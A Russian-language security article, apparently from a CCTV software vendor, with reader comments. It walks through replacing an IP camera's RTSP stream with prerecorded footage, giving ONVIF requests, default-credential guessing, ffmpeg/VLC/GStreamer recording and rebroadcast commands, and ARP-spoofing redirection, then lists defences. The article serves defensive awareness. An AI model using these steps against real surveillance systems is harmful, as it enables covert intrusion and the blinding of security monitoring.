Технологии изменились, сейчас аналогу предпочитают IP-камеры, способы взлома которых подробно будут рассмотрены далее.
Если ты не параноик, это ещё не значит, что за тобой не следят
Большинство людей, которые занимаются взломом, делают это ради развлечения или чтобы получить кусочек известности в интернете. Они используют известные всем «дыры» в системах обеспечения камер и выкладывают, на их взгляд, веселые видео на популярных интернет-ресурсах. YouTube просто кишит подобными видеороликами.
Мы же рассмотрим более серьезные последствия уязвимости, а именно когда взломщик никак не выдает себя и свое проникновение в систему. Такая атака обычно тщательно планируется заранее, за неделю, а то и за месяц до самого взлома.
Как и в нашем примере про «Одиннадцать друзей Оушена», речь пойдет о подмене потока в системах видеонаблюдения, только не аналогового, а цифрового сигнала, а именно RTSP-потока.
Так как вся информация в данной статье носит информационный характер и в первую очередь направлена на ликвидирование ошибок безопасности при построении системы видеонаблюдения, мы не рекомендуем использовать уязвимость, которая рассматривается далее. Именно поэтому взлом самой сети видеонаблюдения будет рассматриваться только поверхностно и описанные способы предполагают открытый доступ к сети предприятия или частного лица. Помните, что несанкционированный доступ к данным может преследоваться по закону.
Опыт нашей компании показывает, что тема очень актуальна, так как на этапе пусконаладки системы видеонаблюдения многие люди подключают камеры в свою систему по RTSP-ссылкам. Либо чтобы сэкономить время, либо по незнанию, либо от уверенности, что так и надо, многие даже не задумываются о том, чтобы сменить пароли или посмотреть, какие настройки безопасности поддерживает их камера.
К слову, RTSP (Real Time Streaming Protocol) — это протокол, который позволяет управлять потоковым видео в режиме реального времени. Нам надо знать о нем только то, что с помощью RTSP-ссылки мы будем забирать видеопоток с камеры.
Мы добрались, наконец, до практики, а именно к плану, по которому мы будем действовать:
1. Получение RTSP-ссылки для камеры, поток с которой мы хотим подменить.
2. Подготовка видеофайла для последующей трансляции.
3. Трансляция записанного файла.
4. Защита от вторичной подмены потока.
Получение RTSP URI потока
Для подмены сигнала с камеры сначала нужно найти видеопоток, который нам нужен. Для этого потребуется ссылка на него по протоколу RTSP. Камера обычно передает несколько изображений (с высоким и низким разрешением). Первый используется для записи, а второй – для трансляции на экранах видеонаблюдения. Минимальное разрешение (чаще всего 320 на 240 пикселей) позволяет снизить нагрузку на оборудование. Для каждого потока RTSP ссылка зачастую отличается одной цифрой в ключе.
У разных камер могут быть разные RTSP-ссылки, но общий вид примерно следующий:
rtsp://[логин: пароль@]ip-адрес:RTSP-порт[/ключ].
Расшифровка следующая:
- логин и пароль — те, что используются для доступа к камере (их может и не быть);
- если в ссылке указывается логин и пароль, то после них указывается символ @ для разделения авторизации и IP-адреса;
- RTSP-порт, по которому передаются команды управления потоковым видео, по умолчанию имеет значение 554;
- ключ — уникальная часть RTSP-ссылки, которая может меняться в зависимости от производителя и модели камеры, например:
/?user=admin&password=admin&channel=номер_канала&stream=номер_потока.sdp
/play1.sdp — вместо «1» указывается номер потока;
/live/ch00_0 00 — номер канала, 0 — номер потока;
/channel1 — вместо «1» указывается номер потока.
Как узнать RTSP-ссылку, не имея доступа к камере? Несколько простых способов:
1. Найти ссылку на сайте производителя камеры.
2. Поискать в интернете сайты, где приведены ссылки для разных моделей камер, пример таких сайтов тут и тут.
3. Скачать на сайте производителя руководство по эксплуатации и найти нужную информацию там.
Для случаев, когда ни один из простых способов не помог, существует немного более сложный. Здесь как минимум будет нужен доступ в сеть, где находится камера. Так как большинство современных камер поддерживает ONVIF, мы можем узнать RTSP-ссылку именно с помощью данного протокола.
Для этого нужно отправлять множественные запросы без авторизации или с авторизацией, стоящей на предполагаемой камере по умолчанию, например «admin:admin» или «admin:12345». К слову, на практике встречались камеры, у которых был выставлен и фильтр допустимых IP-адресов, и нестандартные логин и пароль, но из-за ошибок в прошивке при обращении по протоколу ONVIF ни авторизация, ни фильтр не проверялись.
Как получить желаемую ссылку на оба потока с камеры по протоколу ONVIF?
POST /onvif/media_service HTTP/1.1
Host: 192.168.1.77
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles"
Content-Length: 2120
Connection: keep-alive
SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
.
Пропускаем описание всего пространства имен.
.
xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
<SOAP-ENV:Header></SOAP-ENV:Header>
<SOAP-ENV:Body>
<trt:GetProfiles/>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
HTTP/1.1 200 OK
Server: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles"
Content-Length: 17405
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
.
Пропускаем описание всего пространства имен.
.
xmlns:tns1="http://www.onvif.org/ver10/topics">
<SOAP-ENV:Header></SOAP-ENV:Header>
<SOAP-ENV:Body>
<trt:GetProfilesResponse>
<trt:Profiles fixed="true" token="profile_cam1_stream1">
<tt:Name>profile_cam1_stream1</tt:Name>
<tt:VideoSourceConfiguration token="videosource_config_cam1">
<tt:Name>videosource_config_cam1</tt:Name>
.
Пропускаем описание профиля.
.
</trt:Profiles>
<trt:Profiles fixed="true" token="profile_cam1_stream2">
<tt:Name>profile_cam1_stream2</tt:Name>
.
Пропускаем описание второго профиля.
.
</trt:Profiles>
.
Третий профиль не рассматриваем.
.
</trt:GetProfilesResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
- profile_cam1_stream1 — это название первого профиля на камере.
- profile_cam1_stream2 — это название второго профиля на камере.
Пример для первого потока:
POST /onvif/media_service HTTP/1.1
Host: 192.168.1.77
User-Agent: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
Content-Length: 2479
Connection: keep-alive
SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
.
Пропускаем описание всего пространства имен.
.
xmlns:trt="http://www.onvif.org/ver10/media/wsdl">
<SOAP-ENV:Header></SOAP-ENV:Header>
<SOAP-ENV:Body>
<trt:GetStreamUri>
<trt:StreamSetup xsi:type="tt:StreamSetup">
<tt:Stream xsi:type="tt:StreamType">RTP-Unicast</tt:Stream>
<tt:Transport xsi:type="tt:Transport">
<tt:Protocol xsi:type="tt:TransportProtocol">UDP</tt:Protocol>
</tt:Transport>
</trt:StreamSetup>
<trt:ProfileToken xsi:type="tt:ReferenceToken">profile_cam1_stream1</trt:ProfileToken>
</trt:GetStreamUri>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
В ответ получаем нужную нам ссылку:
HTTP/1.1 200 OK
Server: gSOAP/2.8
Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri"
Content-Length: 3701
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
.
Пропускаем описание всего пространства имен.
.
xmlns:tns1="http://www.onvif.org/ver10/topics">
<SOAP-ENV:Header></SOAP-ENV:Header>
<SOAP-ENV:Body>
<trt:GetStreamUriResponse>
<trt:MediaUri>
<tt:Uri>rtsp://192.168.1.77:554/snl/live/1/1</tt:Uri>
<tt:InvalidAfterConnect>false</tt:InvalidAfterConnect>
<tt:InvalidAfterReboot>false</tt:InvalidAfterReboot>
<tt:Timeout>PT0S</tt:Timeout>
</trt:MediaUri>
</trt:GetStreamUriResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
То же делаем для второго потока и получаем ссылку:
<tt:Uri>rtsp://192.168.1.77:554/snl/live/1/2</tt:Uri>
Запись RTSP-потока в файл
Когда мы получили нужные rtsp-ссылки, нужно записать видео, транслируемое ими, длительностью в несколько часов. Не стоит забывать о том, что в современных системах используется двухпоточность, поэтому нужно записывать одновременно оба потока.
Записать видеопоток по RTSP-протоколу можно с помощью различного программного обеспечения. Рассмотрим наиболее популярные из них: ffmpeg, gstreamer и vlc.
$ man ffmpeg Нас интересует: – vcodec copy — копирование видео в файл; – acodec copy — копирование аудио в файл; – rtsp_transport tcp — выбор метода передачи потока; – r 25 — установка скорости кадров в секунду; – copyts — копирование timestamps; – start_at_zero — копирование timestamps начиная с 00:00:00:000 Подставляем нашу RTSP-ссылку и через copy указываем путь и название файла, в который будет идти запись %ffmpeg -i rtsp://192.168.1.77:554/snl/live/1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec copy -acodec copy /home/line/example/1.avi
Запись в файл началась.
Ознакомиться с набором команд, которые нам предлагает vlc-медиаплеер можно с помощью команды
$vlc –h.
Нам интересны:
– sout=#file{путь} — указываем на файл, в который хотим копировать видео;
– rtsp-tcp — получение rtsp по tcp;
– rtsp-frame-buffer-size=1000 — буфер, чтобы видео не рассыпалось при проигрывании;
– h264-fps=25 — надстройка на 25 кадров.
Подставляем наши данные и запускаем
$cvlc rtsp://192.168.1.77:554/snl/live/1/1 --rtsp-tcp --rtsp-frame-buffer-size=1000 --h264-fps=25 :sout=#file{dst=/home/line/example/1.avi}.
Откроется окно vlc и начнется запись, при закрытии окна запись остановится.
Информацию по работе с gstreamer можно найти <a href="https://gstreamer.freedesktop.org/documentation/plugins.html">тут</a>. – rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" — указываем RTSP-поток как источник данных. – rtph264depay — в RTSP видео идет небольшими кусками (rtp-пакетами), через rtph264depay мы будем получать видео с этих пакетиков. – h264parse — как видно из названия, парсим H.264 поток. – avimux — собираем поток в avi, можно также использовать mp4mux или matroskamux(mkv). – filesink location=1.avi — указываем файл, в который будет сохраняться видео. gst-launch-1.0 -v rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" ! rtph264depay ! h264parse ! mp4mux ! filesink location=1.mp4
Трансляция RTSP-потока из файла
Пришло время начать транслировать записанный файл в формате RTSP. Для этого воспользуемся все теми же программами, рассмотренными в разделе выше.
1. Для трансляции видеопотока с камеры с помощью ffmpeg необходимо использовать ffserver. Его описание можно найти здесь. Для того чтобы задать параметры трансляции, необходимо заполнить файл ffserver.conf.
Файл ffserver.conf RTSPPort — задаем номер rtsp-порта, по которому будет идти вещание. <Stream snl/live/1/1> — после Stream задаем нужный ключ. Format rtp — формат передачи. File "/home/line/example/1.avi" - rtsp_transport tcp — указываем путь к файлу, который необходимо передавать, и ключ для передачи по tcp. NoAudio — не передаем звук. Файл ffserver.conf RTSPPort 554 <Stream snl/live/1/1> Format rtp File "/home/line/example/1.avi" -rtsp_transport tcp NoAudio </Stream> Далее запускаем %ffserver -f ffserver.conf.
2. Теперь воспользуемся vlc-медиаплеером. Несмотря на то что это самый простой способ, к сожалению, vlc может транслировать поток только по протоколу UDP.
Команда для запуска rtsp-потока:
– sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} — задаем ссылку, по которой будет происходить трансляция.
– repeat — при необходимости ставим повторное воспроизведение видеофайла.
vlc /home/line/example/1.avi --sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} —repeat
3. Наконец, с помощью gst-server.
Для начала его нужно установить. $ sudo apt-get install gstreamer1.0 $ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz /gst-rtsp-server-1.8.3$ sudo apt install gtk-doc-tools /gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev /gst-rtsp-server-1.8.3$ make Теперь мы можем изменить файл /gst-rtsp-server-1.8.3/examples/test-launch.c Тут можно поменять RTSP-порт, который используется по умолчанию #define DEFAULT_RTSP_PORT "8554" и ключ в ссылке gst_rtsp_mount_points_add_factory (mounts, "/test", factory). После подставления наших значений сделаем make. Теперь запустим файл test-launch с ключами. – rtspsrc location="/home/line/example/1.avi" — путь к файлу, который будем воспроизводить. – H264 Encoder — кодировать в h.264. – rtph264pay name=pay0 pt=96 — делим наш поток на части. $~/gst-rtsp-server-1.8.3/examples$ ./test-launch "( rtspsrc location="/home/line/example/1.avi" ! x264enc ! rtph264pay name=pay0 pt=96 )"
Записанный файл транслируем в формате RTSP, после чего решаем задачу по выводу камеры из строя. Ниже несколько вариантов, которые различаются в зависимости от объекта, который мы хотим атаковать. На самом деле способов намного больше, рассмотрим только самые основные. Первое, что нам необходимо, — это попасть в нужную нам сеть.
Если объект большой территориально, то зачастую есть возможность подойти к некоторым камерам физически и даже попробовать найти коммутационное оборудование, к которому подключена камера.
Если объект небольшой, то можно попробовать войти в сеть через wi-fi и просканировать ее с помощью nmap, например.
Также, если к камере есть физический доступ, можно с помощью одноплатника произвести взлом в несколько этапов:
1) включить запись wireshark;
2) кратковременно отключить провод от камеры и подключить его в одноплатник;
3) вернуть кабель на место;
4) изучить полученные логи.
Или если есть доступ в сеть, можно воспользоваться классическим методом подмены:
– с помощью arpspoof встать между камерой и сервером;
– с помощью ip_forward переадресовывать запросы с сервера видеонаблюдения на IP-камеру, и наоборот;
– с помощью iptables переадресовывать все запросы по RTSP-порту на сервер видеонаблюдения не с камеры, а с нашей машины.
Защита камер видеонаблюдения от взлома
Чтобы защититься от подмены потока по процедуре, описанной выше, можно использовать несколько способов:
1. Интегрирование камер
Наибольшую защиту дает интеграция камеры в программный продукт. Проверить, интегрирована ли ваша камера с системой видеонаблюдения «Линия», можно тут.
Если вашей камеры или производителя не оказалось в списке, можно обратиться в техническую поддержку с просьбой интегрировать используемую вами модель IP-камеры.
2. Обновление прошивки
Необходимо постоянно поддерживать прошивку камер в актуальном состоянии, так как с помощью обновлений разработчики исправляют различные уязвимости и тем самым повышают стабильность работы камер.
3. Смена стандартных логинов и паролей
Первое, что сделает злоумышленник, — это попробует использовать стандартный логин и пароль камеры. Они указаны в инструкциях по эксплуатации, так что найти их не составит труда. Поэтому всегда используйте уникальные логин и пароль.
4. Включение обязательной авторизации
Данная функция присутствует во многих современных камерах, но, к сожалению, не все пользователи о ней знают. Если отключить эту опцию, то камера не будет запрашивать авторизацию при подключении к ней, что сделает ее уязвимой для взлома. Стоит отметить, что встречаются камеры с двойной авторизацией для http-доступа и для доступа по протоколу ONVIF. Также в некоторых камерах существует отдельная настройка для запроса авторизации при подключении по прямой RTSP-ссылке.
5. Фильтр IP-адреса
Если камера поддерживает функцию так называемого белого списка, то лучше ей не пренебрегать. С ее помощью определяется IP-адрес, с которого можно подключаться к камере. Это должен быть адрес сервера, к которому подключается камера и, если необходимо, второй IP-адрес рабочего места, с которого производится настройка. Но это не самый надежный метод, так как злоумышленник при подмене устройства может использовать тот же IP-адрес. Поэтому лучше всего использовать данную опцию вместе с остальными рекомендациями.
6. Защита сети
Необходимо правильно настраивать коммутирующее оборудование. Сейчас большинство коммутаторов поддерживают защиту от arp spoofing — обязательно используйте это.
7. Разделение сети
На данный пункт стоит обратить особое внимание, так как это играет большую роль в безопасности вашей системы. Разделение сети предприятия и сети видеонаблюдения обезопасит вас от злоумышленников или даже от собственных сотрудников, которые имеют доступ в общую сеть и хотят вас взломать.
8. Включение OSD-меню
Необходимо включать OSD-меню с текущим временем и датой на камере, чтобы всегда можно было проверить актуальность изображения. Это хороший способ защиты именно от замены видеоряда, так как OSD накладывается на все видео, идущее с определенной камеры. Даже когда злоумышленник запишет RTSP-поток, подмена будет заметна благодаря данным, которые все равно останутся на видеокадрах.
К сожалению, многие злоумышленники научились быстро отыскивать и пользоваться в своих интересах уязвимостями в системах IP-видеонаблюдения. Чтобы обезопасить сеть, обязательно нужно ознакомиться со способами защиты, описанными в данной статье. Уделите достаточное количество времени пусконаладке системы и в особенности корректной настройке всех ее компонентов. Так вы сможете обеспечить сети максимальную безопасность от взломов.
В заключение предлагаем вам поделиться в комментариях, как бы вы подошли к защите своей сети видеонаблюдения от взлома? Какие методы атак вы считаете наиболее опасными?
Комментарии (18)
Dageron
06.07.2017 20:43+2По поводу недобросовестности производителей IP-видеокамер и кривых прошивок: не трудно догадаться, что этим страдают китайские noname. Это уже и не новость, и не проблема. Проблема в том, что наибольшая часть сертифицированных IP-камер на российском рынке от «российских производителей» на деле оказывается конструктором из все тех же китайских noname, прошедших в России отверочную сборку.
По факту: берется кастомизированный корпус с логотипом «российского производителя», в него ставится сетевая плата noname, оптика noname, PoE-Ethernet интерфейс noname. Готовая камера с лейблом продается куда угодно, включая гос. структуры и юрлица. Вместе с CD-диском в комплекте, на котором софт по умолчанию предлагает установку на китайском языке. Замечательно! Еще и китайский облачный сервис xmeye с рекомендацией к использованию в комплекте.
Не скажу, что такое железо не настраивается. Настраивается. И даже меняется по гарантии. Но даже затянув все гайки в виде отключения стандартных авторизационных данных, отключив telnet, отключив доступ через веб-морду, переназначив порты и оставив голый onif со сложным логином-паролем, все равно в итоге остается ненулевая вероятность того, что прошивка и железо будут полны уязвимостей.
Без вдумчивого reverse engineering-а и детальной аналитики потенциальных атак здесь не обойтись. Но это уже совсем другой уровень, которым системные администраторы не будут заниматься. Подозреваю, что даже описанными выше минимальными мерами многие даже не будут. Это катастрофически удручает.
По сфере деятельности приходится работать с инфраструктурами IP-видонаблюдения. Статический IP-адрес, проброс портов, гайки по-максимуму затянуты. Но все равно приходится задаваться вопросами, связанными с безопасностью конечного оборудования. Недавно даже на toster-е задавал наболевший вопрос по поводу логирования попыток внешнего входа в локальную сеть на конкретные устройства (по пробросу портов на видеорегистраторы и IP-камеры). Досадно, что никто так и не подсказал по существу, по идее это даже абстрагированная от тематики видеонаблюдения тема.
imm
07.07.2017 09:30все пробросы закройте
оставьте одно подключение c тоннелем по ssh, если кинетик этого не умеет-поднимите что-нибудь внутри сети и оставьте один проброс туда
а просто логгирование вам даст возможность посмотреть «что было», но уже после-того-как.
определитесь с целью, что же в итоге требуется, безопасность или honeypot поиграться
mickvav
06.07.2017 21:49Отдельный сегмент, проброс в инет только к удаленному регистратору через туннель, все лишнее вырубить, пароли сменить. Исходящие соединения — только на ограниченный список ip, входящие из инета — вообще в пень.
chem_ua
06.07.2017 23:53Пора в IP-камеры встраивать поддержку открытых и закрытых ключей для шифрования всего трафика, вот тогда проблем с безопасностью точно не будет (соответственно при установке шифрования и не словарного пароля).
CrazyRoot
07.07.2017 07:24Шифровать поток от камеры. Чудесное решение…
А если у вас в системе 5 сотен камер в HD/FullHD?
devlineman
07.07.2017 13:00Всё не так однозначно. Камеры такие есть на рынке уже несколько лет, но массовости не получили по нашим наблюдениям в первую очередь из-за цены на камеру т.к. подобный функционал есть только у именитых брендов. Вторым фактором можно назвать малая приоритетность «безопасности» самой камеры и системы в целом. Единицы интересуются и задаются вопросами безопасности самой системы видеонаблюдения.
SkyKOHuK
07.07.2017 13:55Давно встроена у крупных производителей CCTV (Panasonic, Sony, etc.) У Panasonic год в прошивках убран дефолтные логин/пароль (при установке необходимо задавать более-менее сложный пароль ) после наезда на них правительством :)
Шифрование увеличивает поток совсем некритично. Уж всяко меньше, по сравнению с потоком от 4К камер, которых появляется все больше. Апгрейдьте и оптимизируйте каналы, если у вас потоки перестают пролезать. Безопасность важнее.
r85qPZ1d3y
07.07.2017 02:32Большинство IP камер\видеорегистраторов (подавляющее большинство) по умолчанию работают с локальных подсетей (192.168.), если самому их специально не выставлять в интернет, то и доступа к ним не будет.
OnlySlon
10.07.2017 14:37На большинстве современных бытовых камер по умолчанию включен upnp и они склонны выставлять сами себя.
kolabaister
07.07.2017 10:39Немного не понял — а чем интегрирование камер защищает их от взлома?
devlineman
07.07.2017 12:40+1Для начала нужно понимать почему камеры зачастую оказываются в Интернете — необходим удаленный просмотр, который как правило организовывается через p2p производителя камеры. При подключении p2p-камеры к интернету камера автоматически посылает запрос на удаленный сервер (в большинстве случаев China servers), который идентифицирует камеру по её уникальному ID-номеру и позволяет подключаться к камере. Другая часть камер становится доступна через утилиты и CMS программы от производителя камеры, позволяющие находить камеры в Интернете, о чем свидетельствуют многочисленные ролики «взлома» на youtube.com
Если убрать настройки вывода камеры в интернет, прочие сервисы от «производителя» или даже увести сеть камер в обособленную работу от общей сети предприятия, то камеру можно «заставить» работать только локально, но тогда встает вопрос об удобстве работы и контроле видеосистемы. Тут на смену приходит софт, который может работать с камерой по ONVIF или SDK производителя и предоставлять удаленный доступ уже по своим механизмам и степеням защиты. При этом ПО также может поддерживать подключение к видеоданным без сложной настройки, но уже с адаптацией под российского потребителя и с сервисами и серверами на территории России, а не в Китае. В ПО Линия это организовано через сервис TURN.
Простой пример, без интеграции камера подключается по rtsp потоку и ПО при разрыве соединения и его последующем восстановлении будет пытаться сразу запросить поток по rtsp ссылке. Если же камера интегрирована, ПО при восстановлении соединения будет пытаться запросить у камеры её текущие настройки, и параметры, а так же будет запрашивать ссылки на rtsp потоки, а потом уже обращаться за потоком по этим ссылка. И если при опросе камеры она не ответит на эти запросы, то запроса rtsp потока не будет, а пользователь получит уведомление, что камера не подключена.
Сразу хотел бы подчеркнуть, что стоит рассматривать интеграцию как один из компонентов защиты, который в совокупности с остальными будет более эффективен.
KonBez
07.07.2017 10:39Как бы вы подошли к защите своей сети видеонаблюдения от взлома?
Использовать аналоговые системы)))devlineman
07.07.2017 13:50+1Как бы не улыбал данный ответ, но аналоговые системы все еще имеют право на жизнь и могут использоваться как «инструмент» защиты. Более того от некоторых государственных объектов поступали запросы только на аналоговые системы.
Сейчас «второе» дыхание аналоговым камерам дали технологии позволяющие конкурировать в качестве картинки с IP камерами за счет высокого разрешения аналоговых камер вплоть до 5 мегапикселей.
Но функционал IP камер в разы больше от возможностей подключения и отдачи потока до встроенной аналитики в камерах. И как с любой «сложной» вещью необходимо разобраться и настроить систему.
К тому же ситуация может обязывать использовать только IP оборудование и специалистам обслуживающим или ответственным за безопасность все же необходимо знать нюансы отрасли использования IP видеокамер.
Именно по-этому не только обозначаем проблему, но и спрашиваем IT сообщество об опыте защиты.r85qPZ1d3y
07.07.2017 20:54Функционал хороших IP камер сопоставим с функционалом хорошего видеорегистратора для аналоговых камер. Все фишки одинаковые, и выдача RTSP потока, или ONVIF, и удаленный доступ с командным центром от производителя, и веб-админка с настройками в браузере, и много чего ещё очень схожего, что делает аналоговые камеры по сути такими же IP
Mogwaika
10.07.2017 12:39А можете поподробнее рассказать, как защитить сеть от подключения к проводу вместо камеры?
devlineman
11.07.2017 19:33Вопрос интересный, но очень обширный, можно отдельную статью посветить если рассматривать подробно.
Защищать от «любителей повзламывать» локальную сеть можно начиная от программных возможностей самих ОС серверов (например DHCP-сервер и Active Directory с привязкой по MAC/IP) или спец. софта (Kerio Control и т.д.) и заканчивая программно-аппаратными возможностями сетевого оборудования с разводкой сетей (VLAN, VPN\туннели). Здесь же должна обеспечиваться защита оборудования в физическом плане (закрытые серверные\шкафы).
Для профессионала разбирающегося в вопросах сетей, владеющего сетевыми снифферами и имеющего доступ к общей сети предприятия не составит труда сделать подмену пакетов или «встать» за место какого-то оборудования, можно лишь урезать масштабы проникновения.
Возможно кто-то из сообщества сможет дополнительно рассказать кто как на практике защищал или изучал данный вопрос.
xsash
Наиболее опасно, что встречалось — «китайский регистратор/камера», которая смотрит напрямую в интернет. Но это «классика».
Даже смена паролей не гарантирует ограничение доступа из-за прошитых root`овых или служебных учеток